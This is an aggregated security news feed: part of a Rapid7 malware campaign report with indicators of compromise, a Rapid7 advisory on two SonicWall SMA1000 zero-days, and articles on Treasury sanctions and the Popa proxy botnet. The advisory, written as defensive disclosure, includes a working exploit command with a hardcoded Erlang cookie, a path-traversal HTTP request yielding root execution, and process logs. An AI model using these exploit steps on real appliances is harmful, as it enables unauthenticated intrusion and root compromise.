MITRE ATT&CK technique

Code

Payload execution

User Execution: Malicious File

T1204.002

Masquerading

Right-to-Left Override

T1036.002

Masquerading

Double File Extension

T1036.007

DLL sideloading

Hijack Execution Flow: DLL

T1574.001

Obfuscation

Encrypted/Encoded File

T1027.013

Payload unpacking

Deobfuscate/Decode Files or Information

T1140

Payload carrier

Steganography / image-carried payload data

T1027.003

API hiding

Dynamic API Resolution

T1027.007

In-memory loading

Reflective Code Loading

T1620

Injection

Process Hollowing

T1055.012

Native API use

Native API

T1106

Sandbox evasion

Time Based Evasion

T1497.003

Anti-analysis

Debugger / instrumentation checks

T1622

UAC bypass

Bypass User Account Control

T1548.002

Persistence

Registry Run Keys / Startup Folder

T1547.001

Persistence

Scheduled Task

T1053.005

Collection

Keylogging

T1056.001

Collection

Screen Capture

T1113

Collection

Clipboard Data

T1115

Credential access

Credentials from Web Browsers

T1555.003

Credential access

Steal Web Session Cookie

T1539

Collection

Data from Local System

T1005

Collection

Automated Collection

T1119

Staging

Archive Collected Data: Archive via Utility

T1560.001

C2

Encrypted Channel

T1573

Exfiltration

Exfiltration Over C2 Channel

T1041

Possible persistence

WMI Event Subscription

T1546.003

Phishing lure generation

Generate Phishing Lures

AML.T0052

Resource Development

Resource Development

AML.TA0003

Obtain capabilities via LLM tooling

Obtain Capabilities

AML.T0016

LLM-assisted capability development

Develop Capabilities

AML.T0017

LLM prompt crafting for attack documentation

LLM Prompt Crafting

AML.T0065

Obtain capabilities via tooling

Obtain Capabilities: Software Tools

AML.T0016.001

Indicators of compromise (IOCs)

CURP campaign

Phishing page: hxxps://gobf[.]mx

WebDav server: onedrive[.]cv

ReportFinal.<RLO>.scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7

C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888

Domain: google.services[.]ug

Campaign tag:06x12x2026SantaEbash2 (v4.4.3)

Schedule tasks: brokerhost, net_queue_32

Staging paths:

%TEMP%\is-XXXXX.tmp\Fo-Binary.exe

%AppData%\Roaming\inttracer_i686_prod\

C:\ProgramData\inttracer_i686_prod\

DlrtyGames campaign

C2: 23[.]94[.]252[.]228:57666

JA3: fc54e0d16d9764783542f0146a98b300

DlrtyGames.exe

SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268

discord-rpc.x64.dll

SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df

profiler16.dll

SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9

loader-pool.db

SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b

.NET RAT

SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923

Staging paths:

C:\ProgramData\basenet\

%APPDATA%\basenet\

Persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW

\com_app_bg_i686

\messenger_component_v8_32_rc

More indicators of compromise can be found on Rapid7’s GitHub.

Rapid7 customers

Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.

Conclusion

The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.

The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. 

While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.

The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.

Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited (CVE-2026-15409, CVE-2026-15410)

By: Rapid7
15 July 2026 at 12:19

Overview

On July 14, 2026, SonicWall published a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability CVE-2026-15409 (CVSS 10.0) and the high-severity code injection vulnerability CVE-2026-15410. The advisory urges customers to immediately apply the latest platform hotfix releases.

Successful exploitation of CVE-2026-15409 permits an unauthenticated attacker to open a websocket-based tunnel to arbitrary localhost-only services, while CVE-2026-15410 is a local privilege escalation that permits an attacker with access to an internal service listening on port 8188 on localhost to execute arbitrary operating system commands as root via a malicious path traversal-based remove_hotfix workflow.

Both vulnerabilities are being actively exploited in the wild. Prior to SonicWall’s official vulnerability disclosure, Rapid7’s Managed Detection and Response team observed active, targeted zero-day exploitation of internet-facing SMA 1000-series appliances. In the SonicWall advisory, exploitation in the wild was noted, and both CVE-2026-15409 and CVE-2026-15410 have been added to CISA's Known Exploited Vulnerabilities (KEV) catalog. Given the confirmed exploitation activity and the critical unauthenticated impact of the vulnerabilities, organizations should prioritize remediation of SMA1000 appliances on an emergency basis.

Affected products include SonicWall SMA1000 Series models 6210, 7210, and 8200v running:

  • 12.4.3-03245

  • 12.4.3-03387

  • 12.4.3-03434 (platform-hotfix)

  • 12.5.0-02283

  • 12.5.0-02624

  • 12.5.0-02800 (platform-hotfix)

These vulnerabilities do not affect SSL VPN functionality on SonicWall firewalls or the SMA 100 Series product line.

Technical overview

The primary vulnerability is in a websocket proxy feature, accessed via the path /wsproxy on the affected “SonicWall WorkPlace” application (served on port 443 by default). This feature permits a netcat-like TCP tunnel to arbitrary hosts and ports, which are provided by the user in URL parameters. By provided host values that point to localhost, the attacker can access local SonicWall appliance system services behind the firewall to send and receive arbitrary TCP traffic to and from them. This is the first-stage vulnerability, CVE-2026-15409, that Rapid7 MDR analysts are seeing attackers exploit in the wild. With this capability, an attacker can reach and exploit less-hardened services running on the appliance, such as the Erlang application on localhost:1050 or the ctrl-service application on localhost:8188. 

We developed an exploit targeting the Erlang process listening on localhost:1050 for remote code execution. Note that the provided cookie value is hardcoded for the Erlang process, based on our testing, so authentication is not required to establish code execution.

# python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'whoami && id && pwd && hostname'
Authenticated to couchdb@127.0.0.1
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

With code execution established, the attacker can escalate to root on the appliance by exploiting CVE-2026-15410, which is a path traversal in the remove_hotfix workflow of ctrl-service. This can be performed via the web console or by hitting port 8188 on the device. The attacker provides a hotfix value containing a path traversal sequence to a malicious script, such as ../../../../var/tmp/privesc. The system executes the script as root and (typically) reboots the appliance immediately after.

An example malicious request achieving privilege escalation by leveraging this from the web panel is depicted below:

POST /rollbackConfirm.action HTTP/1.1
Host: 192.168.181.46:8443
Cookie: EXTRAWEB_REFERER=%252F; JSESSIONID=node01bcg1tbiy6qi7s97xsoa42lhp8.node0
Content-Length: 134
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="24", "Chromium";v="152"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Origin: https://192.168.181.46:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.181.46:8443/rollbackConfirm.action
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

csrfToken=GFEJUCQBUZOLUCCOO3YBA8G30ZE9VKDP&command=rollback&rollbackUpgradeTime=&hotfix=../../../../../tmp/1234.sh&rollbackHotfixTime=

If the provided hotfix file does not exist, a reboot does not occur. If the provided file exists, the system reboots after it chmods and executes the file. Below is a system monitor (pspy) depicting output of this occurring during exploitation:

2026/07/09 23:21:00 CMD: UID=0     PID=10355  | chmod +x /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh
2026/07/09 23:21:00 CMD: UID=0     PID=10355  | /bin/bash /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh --unattended
2026/07/09 23:21:00 CMD: UID=0     PID=10361  | /usr/bin/python3 /usr/local/ctrl-service/bin/ctrl-service.py
[...]
2026/07/09 23:21:22 CMD: UID=0     PID=11124  | shutdown -r now

A Python proof-of-concept for CVE-2026-15409 is available here; a Metasploit module for the chain is in development.

Mitigation guidance

Organizations operating SonicWall SMA1000 appliances should immediately upgrade to the latest platform hotfix releases.

Fixed versions are:

Product

Fixed Version

SMA1000 Series (6210, 7210, 8200v)

12.4.3-03453 (platform-hotfix) or later

SMA1000 Series (6210, 7210, 8200v)

12.5.0-02835 (platform-hotfix) or later

There are no workarounds available.

Because active exploitation has been confirmed, organizations should not rely solely on patching. SonicWall additionally recommends:

  • Performing a thorough forensic review for indicators of compromise.

  • Re-imaging physical appliances or redeploying virtual appliances if compromise is identified.

  • Changing user and administrator passwords.

  • Resetting TOTP tokens following confirmed compromise.

Customers should consult the SonicWall security advisory for the latest remediation guidance and platform hotfix availability.

Observed exploitation

Prior to SonicWall’s official vulnerability disclosure, our Managed Detection and Response team observed active, targeted exploitation of internet-facing SMA 1000-series appliances. Threat actors were primarily leveraging the perimeter appliance as a stealthy initial access vector, executing commands on the operating system by bypassing traditional input validation controls. Once they established a foothold on the appliance, the actors systematically extracted high-value credentials, active session databases, and Time-Based One-Time Password (TOTP) multi-factor authentication (MFA) seed configurations. This local harvesting was designed to ensure long-term, persistent access that could survive standard network-level remediations.

With these harvested resources, the threat actors quickly shifted to lateral movement, pivoting from the compromised appliance directly into the internal corporate network. Specifically, we observed a sequence of anomalous, VPN-less Active Directory authentications targeting core domain controllers. These authentications originated directly from the appliance’s internal IP address, using atypical, non-corporate workstation client names (such as kali or other non-inventory hostnames) under the context of the appliance’s integrated LDAP service account. This unique behavior of direct, machine-level lateral movement with no corresponding active VPN tunnel confirmed that the appliance itself had been fully compromised and was acting as an unmonitored backdoor into the corporate directory infrastructure.

Artifacts or evidence sources and IOCs

Rapid7 recommends reviewing appliance logs for evidence of active exploitation, including the following characteristic behaviors and specific log indicators:

Characteristic behaviors

Websocket exploit IOC log patterns: extraweb_access.log entries containing the strings ("GET" AND "wsproxy" AND "=-3389" AND “ 101 “) indicate interactions with the niche affected service. If suspicious host parameter values such as “localhost” or “::ffff:127.0.0.1” are present, that’s indicative of likely exploitation of CVE-2026-15409. Note that “serviceType=SSH” was used in our published materials, but options such as “serviceType=TELNET” are viable alternatives.

Hotfix removal exploit IOC log patterns: The ctrl-service.log shows the hotfix-removal utility (/usr/local/bin/remove_hotfix) being invoked with traversal sequences pointing to attacker-staged shell script payloads (e.g., ../../../../../../tmp/sma1000_5c47.sh). This is indicative of successful exploitation of CVE-2026-15410.

Internet-facing probing: Enumeration of the SMA portal, including repeated requests to /auth1.html, path-traversal attempts, and generic file/enumeration requests (e.g., /.env, /api/sonicos/is-sslvpn-enabled).

Authentication activity: Authentication-API activity against /__api__/logon/<session-id>/authenticate.

Sensitive path access: Access to sensitive appliance paths such as /tmp/temp.db*, consistent with theft of stored session data.

AD/Service Account Compromise: NTLM logons (Windows Event ID 4624, logon type 3) into internal domain controllers sourced from the appliance's internal IP address, using attacker-controlled workstation names (e.g., kali) without a corresponding VPN session.

extraweb_access.log: Requests to /__api__/login or /__api__/logout returning HTTP 200, and requests to /wsproxy containing suspicious host parameters returning HTTP 101.

Configuration artifacts

/var/lib/unit/conf.json containing routes for /__api__/login or /__api__/logout, which are not present in legitimate configurations.

Atomic Indicators

F.N.S Holdings Limited (ASN - 206092): The threat actor(s) utilized varying IP addresses, but they belonged to the VPN hosting provider FNS Holdings Limited. Limit or block access to FNS Holdings Limited if there is no business need. For reference, the IP addresses we observed were:

  • 45.131.194.0/24

  • 45.146.54.0/24

  • 63.135.161.0/24

  • 173.239.211.0/24

  • 193.37.32[.]179

  • 193.37.32[.]214

  • 216.73.163[.]151

  • 216.73.163[.]158

Attacker Asset Names:

  • DESKTOP-KRLUI3J

  • DESKTOP-IC3C80F

  • DESKTOP-5P0TSCP

  • KALI

  • localhost

If any indicators of compromise are identified, organizations should treat the appliance as compromised and follow SonicWall’s recovery guidance.

Rapid7 customers

Organizations should prioritize identifying all internet-facing SonicWall SMA1000 appliances and determine whether affected software versions remain deployed. Given SonicWall’s and Rapid7’s confirmation of active exploitation, exposed appliances should be considered high-priority assets for remediation.

Security teams should also review available authentication, web access, and appliance management logs for the indicators published by SonicWall to determine whether follow-up incident response activities are warranted.

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers will be able to assess exposure to CVE-2026-15409 and CVE-2026-15410 with authenticated vulnerability checks available in the July 15 content release.

Updates

  • July 15, 2026: Initial publication.
  • July 16, 2026: Additional IOCs identified and blog section updated with the identified attacker asset names.

Treasury sanctions First VPN Service, others for abetting ransomware gangs

14 July 2026 at 11:41

The Treasury Department is slapping sanctions on First VPN and its administrator for allegedly selling services to ransomware operators, as well as another person aiding ransomware gangs.

First VPN Services, or 1VPNS, was “deeply embedded in the cybercriminal ecosystem” and appeared in virtually every Europol investigation in recent years, the law enforcement body said after a sting targeting the service in May.

Treasury’s Office of Foreign Assets Control (OFAC) sanctioned 1VPNS as well as its alleged administrator, Ukrainian citizen Dmytro Rashevskyi, Monday in conjunction with the United Kingdom. The outfit provided anonymity services that could be legitimate in some instances, but 1VPNS advertised itself in online cybercrime forums for more than a decade, touting its refusal to cooperate with law enforcement, the office said.

“Numerous ransomware groups have purchased infrastructure from 1VPNS, which they have leveraged in attacks on U.S. companies and institutions — including to hide the origins of their attacks, deploy malware, and manage exfiltrated data,” OFAC said. “Victims of ransomware attacks that involved the use of 1VPNS infrastructure have included U.S. businesses, financial services companies, hospitals, and municipal governments.”

Treasury also sanctioned Belarus national Yegeniy Vladimirovich Silayev for allegedly selling “cryptors,” tools used to disguise ransomware and other malware, to ransomware operators.

“Unlike legitimate encryption tools, which are designed to protect data and the privacy of the people that own it, cryptors are built specifically to make malware stealthier and more effective by disguising it as harmless files,” OFAC said.

Treasury’s sanctions designations dovetail with separate, unrelated cyber sanctions that European governments from Monday. The FBI has previously issued an alert about First VPN Service. 

Blockchain intelligence firm TRM Labs said it has seen 1VPNS selling its services to ransomware operators for prices ranging from $723 for Anubis to $58 Sinobi.

“The amounts are small because infrastructure subscriptions are small,” Ari Redbord, global head of policy and government affairs for the company, wrote on LinkedIn. “A named ransomware group paying a named enabler on public chains still leaves a trail investigators can follow after the fact.”

Victims tied to First VPN Service infrastructure include U.S. municipalities, hospitals and financial services companies.

Europol said it had arrested the administrator of 1VPNS in its May sting, but did not name them. 

The Treasury Department did not immediately respond to a question about whether its sanctions targeted that same arrested person.

The post Treasury sanctions First VPN Service, others for abetting ransomware gangs appeared first on CyberScoop.

‘Popa’ Botnet Linked to Publicly-Traded Israeli Firm

18 June 2026 at 13:37

For the past four years, a sprawling Android-based botnet called Popa has forced millions of consumer TV boxes to relay Internet traffic linked to advertising fraud, account takeovers, and mass data-scraping efforts. This week, researchers from multiple security firms concluded that the Popa botnet is linked to NetNut, a “residential proxy” provider operated by the publicly-traded Israeli firm Alarum Technologies Ltd [NASDAQ: ALAR].

Malicious streaming devices sold online that enroll the user's home Internet address in a residential proxy service. Image: Synthient. Pictured are 8 different TV boxes, including the X96 Mini Box, stick, and other no-name brands.

Malicious streaming devices sold online that enroll the user’s home Internet address in a residential proxy service. Image: HUMAN Security.

Popa is a massive botnet, but by all accounts it is unlike traditional botnets that enlist compromised systems in destructive activities, such as coordinating huge distributed denial-of-service attacks. Rather, Popa appears designed with a singular purpose: Implementing a persistent communications layer capable of registering a device, maintaining long-lived encrypted connections, and opening communication tunnels on demand.

Experts say Popa is a plugin component associated with the Vo1d botnet, a large-scale malware campaign targeting unofficial Android-based TV boxes. These devices, which are marketed under thousands of brand names and model numbers and broadly available for purchase at top e-commerce destinations, all advertise the ability to stream hundreds of subscription video services for an up front one-time fee.

But as the FBI and security industry experts have warned repeatedly, these streaming boxes typically bundle or come pre-installed with software that turns the user’s TV into a “residential proxy” — allowing anyone to route their Internet traffic through that device for as long as it remains plugged into a wall socket and connected to a local network. More concerning, some of these proxy networks do little to stop malicious customers from communicating with and even compromising systems on the local network of the unsuspecting device owner.

The first clues about Popa’s origins came in a 2025 report from the Chinese security company XLAB, which flagged at least nine domain names that were used to register and direct the activities of compromised devices. In a report released today, the security firm Qurium described how it stumbled on some of those same domains while investigating a series of disruptive and expensive data scraping events targeting the company’s hosted organizations in May 2026, in which the scraping activity was scattered evenly across more than 1.4 million Internet addresses.

Qurium said it found several dozen domains used to control Popa that were all hosted in lockstep across multiple Internet addresses over time, including gmslb[.]net, safernetwork[.]io, tera-home[.]com, and ninjatech[.]io. Digging deeper, Qurium discovered gmslb[.]net was referenced in dozens of pirated or modded video content streaming apps, such as CRICFy, DooFlix, Sprozfy, RTS Tv, Flixoid, CyberFlix, Rapid Streamz, TvMob and HD/OceanStreams.

Qurium’s report notes that most of the domains long used to control the Popa botnet were seized or dismantled in July 2025, after Google, HUMAN Security and Trend Micro teamed up to disrupt Badbox 2.0, a botnet that is closely associated with Vo1d. Qurium said that immediately after that disruption, several dozen new domains were registered to serve as controllers for the Popa botnet, but that one of those control domains was not new: ninjatech[.]io.

Ninjatech is a company founded by Moishi Kramer, whose LinkedIn profile says he is vice president of research and development at NetNut. That resume credits Kramer for helping NetNut to build from the “ground up,” “designing the architecture,” and “scaling the NetNut” before the company was acquired by Alarum Technologies. A self-created listing at the job board F6S references Kramer as the sole owner of the Ninjatech domain (a screen capture of it is pictured below).

Image: F6S.com.

Responding via email, Mr. Kramer said Ninjatech ceased operations approximately five years ago, when the company sold a software development kit (SDK) called Popa that was designed to use a small portion of a device’s bandwidth and to run only after the host application obtained user consent.

“That code was sold and licensed to third parties including resellers years ago,” Kramer said. “Once software is distributed that way, the original developer has no control over how others later modify, rebrand, or deploy it.”

Kramer said neither he nor NetNut builds, operates or maintains the infrastructure being described as Popa, nor does he control the Ninjatech domain.

“I didn’t register the June 2025 domains you mention, and I don’t know who did,” he continued. “I have no control over, or visibility into, that infrastructure. I can only tell you it isn’t operated by me or by NetNut.”

But in a separate Popa research report released today, the proxy-tracking company Synthient said a recent analysis of the Popa SDK revealed outbound traffic clearly associated with NetNut.

“The research team assesses with high confidence that devices running Popa forward traffic from Netnut clients,” Synthient wrote. “This proves without a shadow of a doubt that Popa actively continues to be used by NetNut as part of their proxy pool.”

Synthient’s platform receiving outbound traffic from Popa. Image: Synthient.com.

Alarum Technologies, NetNut’s Tel Aviv-based parent company, said the reports by Synthient and Qurium contained “demonstrably inaccurate assertions and flawed deductions rather than verified facts.” Alarum shared a statement saying they reject the basic characterization of the SDKs and technologies discussed in the reports as a “botnet.”

“The SDKs at issue are designed to facilitate bandwidth-sharing functionality and do not transform user devices into malware-controlled systems or otherwise compromise the devices on which they operate,” the statement reads. “Netnut operates a commercial proxy network and maintains policies, procedures, and technological measures designed to promote lawful and responsible use of its services.”

Alarum said NetNut places “significant emphasis on appropriate notice and consent mechanisms, conducts customer due diligence, monitors for potential misuse, and takes steps intended to detect and mitigate suspicious or unauthorized activity.”

“This method of operation is supported both by internal procedures and policies, including performing KYC checks and additional due diligence of NetNut’s customers, as well as employing various technological measures, designed to assist in identifying and addressing suspected misuse of the network,” their statement continued.

However, in a report released on June 8, the proxy tracking service Spur asserted that NetNut does not require corporate verification or meaningful “know your customer” procedures before allowing customers to purchase proxy access.

“An individual can sign up, pay, and route traffic through partner address space, including space belonging to institutions whose users never opted in,” Spur wrote. “The ‘verified corporations only’ claim is simply marketing for bandwidth sellers, not an access control on who actually uses the proxies.”

“Nor is NetNut the only front door,” Spur continued. “A number of downstream white labelers and resellers repackage the same ISP proxy pool under their own brands. These outlets typically perform no KYC at all, less scrutiny than NetNut itself, who at the very least might assign an account manager to potential users. Anyone who knows where to look can buy access through a reseller with nothing more than a burner email address and $5 in crypto.”

Synthient found that although the most recent builds of Popa (as of three months ago) have added the ability to ask the user for consent before installing proxy components, not all variants or previous versions of Popa contain this functionality.

“Of the over 20 genuine Popa publishers analyzed, none of them were observed asking for user consent,” Sythient wrote.

THE PREVALENCE OF POPA

Chris Formosa is senior lead information security engineer for Black Lotus Labs, a division of the Internet backbone carrier Lumen Technologies.

“What especially makes Popa dangerous is just how widely used NetNut is for reselling and sharing,” Formosa said, explaining that many other proxy services simply resell NetNut proxies rather than building out their own far-flung proxy networks. “So these Popa IPs appear in tons of different services all over the ecosystem, which makes it one of the most problematic and dangerous proxy botnets on the market currently.”

Formosa said the Popa botnet averages between 1.5 million to 2.5 million distinct IP addresses each day, relying on between 250 and 300 Internet addresses that are used to direct its activities.

“That’s why Popa is so dangerous,” Formosa said. “It may not be the largest botnet we have seen, but it is spread all over the industry, making its power very amplified.”

Formosa said while that makes Popa one of the larger botnets out there today, its numbers pale in comparison to those previously boasted by IPIDEA, a China-based proxy provider that until recently operated a daily pool of nearly 10 million devices that they resold as proxies to anyone. In January 2026, Synthient published research showing that multiple new large DDoS botnets had grown rapidly by tunneling through IPIDEA proxies into the local networks of unsuspecting TV box owners and infecting other Android-based devices behind the user’s firewall.

IPIDEA is based largely on SDKs used to view pirated streaming content on a vast number of TV box devices, but the service’s numbers have dwindled since January, when Google and industry partners took legal action to seize domain names that IPIDEA used to control devices and proxy traffic through them.

Jérôme Meyer, a security researcher at Nokia Deepfield, said the total population of devices participating in the Popa botnet may be far higher than Lumen’s estimates. Meyer told KrebsOnSecurity that Nokia is monitoring 26 of at least 359 known relay nodes for the botnet, and estimates that each relay node handles between 35,000 and 60,000 clients simultaneously.

“On the relay node subset I am looking at (26 of them), 750,000 unique sources in 24 hours,” Meyer wrote in response to questions.

Nokia Deepfield released its own report today on RoboVPN, a VPN app tied to the Vo1d botnet’s Popa plugin that Qurium attributes to NetNut/Alarum Technologies.

THE SYMBIOSIS OF PROXIES AND DATA SCRAPING

Experts say many of the world’s largest proxy providers have updated their public-facing branding to highlight their utility for training AI platforms, implying it is a primary use case for their residential proxies. That’s because AI services tend to rely on constantly mass-scraping the Internet for new text, images and video content that can be used to train large language models (LLMs).

NetNut and other proxy services have recast themselves as critical infrastructure for the AI scraping economy. Image: Synthient.com.

“AI companies depend on web-scraped content: for pre-training, for retrieval, for agent grounding, for search,” reads a report this month from Include Security that examines the prevalence of proxy SDKs in smart TV apps. “But the modern web isn’t scrapeable from a datacenter. Cloudflare, DataDome, HUMAN, among others throttle or block requests from known cloud IPs. The workaround is residential proxies. A scraping job routed through a Comcast or T-Mobile subscriber’s connection arrives at the target site from an IP that belongs to a paying residential customer.”

This non-stop content scraping has spawned more than 70 copyright infringement lawsuits against major tech companies that have acknowledged large-scale data scraping as a major source of the “brains” behind their commercial AI offerings. Ironically, much of that scraping is being aided by proxy services that are intimately tied to unofficial Android TV boxes and associated SDKs whose stated purpose is streaming pirated content.

The scraping activity has become so aggressive that it often overwhelms the targeted websites, preventing them from being reachable by legitimate visitors. In many reported cases, nonprofit organizations, libraries and universities have complained of constantly battling to keep their services online in the face of relentless data-scraping firms hiding behind residential proxy services.

A survey conducted last year by the Confederation of Open Access Repositories (COAR) found while some content scraping bots are rather innocuous, “others are sufficiently aggressive that they are increasingly causing service disruptions in repositories and other scholarly communications infrastructures.” More than 90 percent of survey respondents indicated their repository is encountering aggressive bots, usually more than once a week, and often leading to slow downs and service outages.

“Automated web scraping is nothing new, and has been the key technology underlying search engines such as Google for over 30 years,” wrote Brendan O’Connell, platform manager at the Directory of Open Access Journals (DOAJ), a free, community-curated index of peer-reviewed academic journals. “However, the current investor-fueled AI startup craze means there are now thousands of well-funded companies developing and deploying their own scraping tools to train AI models, alongside existing major players like OpenAI and Google.”

DON’T TOUCH THAT DIAL!

Across the United States, local communities are pushing back against the proliferation of new data centers aimed primarily at improving the capabilities of AI. But security experts say the general public remains largely unaware that using one of these unsanctioned Android TV boxes means their “smart TV” is almost certainly using a significant amount of bandwidth each month to help train modern AI models.

Even households without these sketchy TV boxes can still have their smart TVs turned into residential proxy nodes, just by downloading one of thousands of apps made available on Samsung and LG smart TVs. Spur said it recently scraped the LG and Samsung app stores and found that each had approximately 3,000 apps available for download. Many of these apps are simple games or utilities that state in the fine print that the user’s Internet connection will be used to download data and that they can opt out at any time.

Spur said it found that more than 42 percent of apps available for download via the webOS operating system on LG smart TVs include SDKs that turn one’s television into an always-on residential proxy node. More than a quarter of the apps made for Samsung’s Tizen operating system had similar residential proxy components, Spur found.

Image: Spur.us.

Experts say it’s questionable whether TV apps with proxy SDKs can obtain meaningful consent from users for installing an always-on proxy connection, particularly when anyone in a household — including children — can effectively opt the family TV into a residential proxy network just by installing a simple game or app.

“Privacy-policy disclosure is the wrong control surface for a TV,” Include Security wrote. “It is hard to scroll through a legal document navigated by arrow keys on a remote, and the in-app consent dialog doesn’t convey that a paying customer is about to route their scraping traffic through the user’s home internet.”

Spur’s head of research Sean Simmons told KrebsOnSecurity that most people do not have a working mental model for what it means to sell access to their residential IP address, no matter what device they are using.

“And on a TV, the gap is even wider,” Simmons said. “A one-time prompt navigated with a remote can disappear into the setup flow, while the app keeps monetizing the connection long after anyone remembers what they accepted.”

Simmons said LG and Samsung should follow the lead of other TV platforms that have already drawn a line against residential proxy providers, pointing to policies by Amazon that prohibit apps facilitating proxy services for third parties. Likewise the TV streaming device maker Roku reportedly now bars developers from using proxy SDKs and has removed apps that bundled them.

Piracy related apps pushing proxy SDKs onto unconsenting users. Image: Synthient.

Apps that turn one’s device into a residential proxy node are not limited to smart TVs and no-name streaming boxes, of course. As noted by the security firm Infoblox, mobile app developers can embed SDKs provided by the residential proxy networks into their products to monetize their software, allowing them to receive a small amount of money on each installation.

The result, Infoblox said, is that devices are frequently enrolled without the owner’s knowledge, typically through free applications such as VPNs, streaming apps, screensavers and “productivity” apps such as PDF viewers and break reminders.

All too often, these proxy services are beaconing out from employee devices brought into the workplace, Infoblox found. In a blog post earlier this month, Infoblox said it discovered that fully 65% of its customer base was querying one or more residential proxy related domains.

“We saw steady growth in these queries in 2025, with a 25% increase over the year to over 500 billion per month,” Infoblox wrote. “Over 90% of our pharmaceutical and food & beverage customers have queried residential proxy indicators. Perhaps even more concerning is that over 60% of government and banking customers have as well.”

Infoblox researchers Nick Sundvall and David Brunsdon warned that with residential proxies in the corporate environment, external access is granted to an organization’s IP space.

“If threat actors were to abuse the residential proxy to attack a third party, the third party’s incident response would, correctly, identify your residential proxy as the source,” they wrote. “Untangling that, by proving that you were the conduit and not the threat actor, costs time, creates legal exposure, and can damage your reputation. The stunning prevalence of these services within customer environments warrants attention from both network defenders and policy makers who should consider how the risks posed by residential proxies could be impacting their security posture.”

❌
❌